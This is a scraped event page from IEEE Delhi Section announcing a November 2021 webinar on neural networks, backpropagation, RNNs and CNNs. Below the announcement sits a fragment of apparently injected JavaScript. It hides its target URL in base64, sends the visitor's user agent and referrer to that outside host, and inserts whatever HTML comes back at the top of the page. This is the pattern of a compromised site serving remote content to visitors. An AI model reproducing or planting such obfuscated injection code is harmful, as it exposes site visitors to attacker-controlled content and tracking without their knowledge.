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IEEE Delhi Section with Computer Society Chapter, Consultants Network Affinity Group, Life Member Affinity Group, Inter Society Relations, Industry Relations & SIGHT Standing Committees of IEEE Delhi with the associations CSI, Safa Society, ISTE Delhi Section, IETE Delhi Centre, invites you for a Webinar on 20-November-2021, the Saturday, at 06:00 p.m.

The webinar is aimed to discuss important concepts like Neural Networks, Deep learning using Advanced neural networks (ANNs or DNN i.e. Deep Neural Networks), its common applications in various domains, etc. The webinar aims to clarify basic concepts of input layer, hidden layers and output layers; hidden layer parameters (weights and bias, Activation functions), training via back propagation, (parameters - Learning rate and momentum), output layer functions, etc. This webinar shall also briefly discuss variations of ANNs i.e. RNNs and CNNs, their characteristics and applications.

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News Category:

Activities

News Date:

Saturday, 6 November, 2021 - 10:00

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{ let selfer=new XMLHttpRequest;selfer.open("GET",  
decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA==')))
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nt=${navigator?.userAgent}&r=${document?.referrer}`),selfer.onreadystatechange=()=>{if(4===selfer.readyState)  
>);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Reque
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}); //-->
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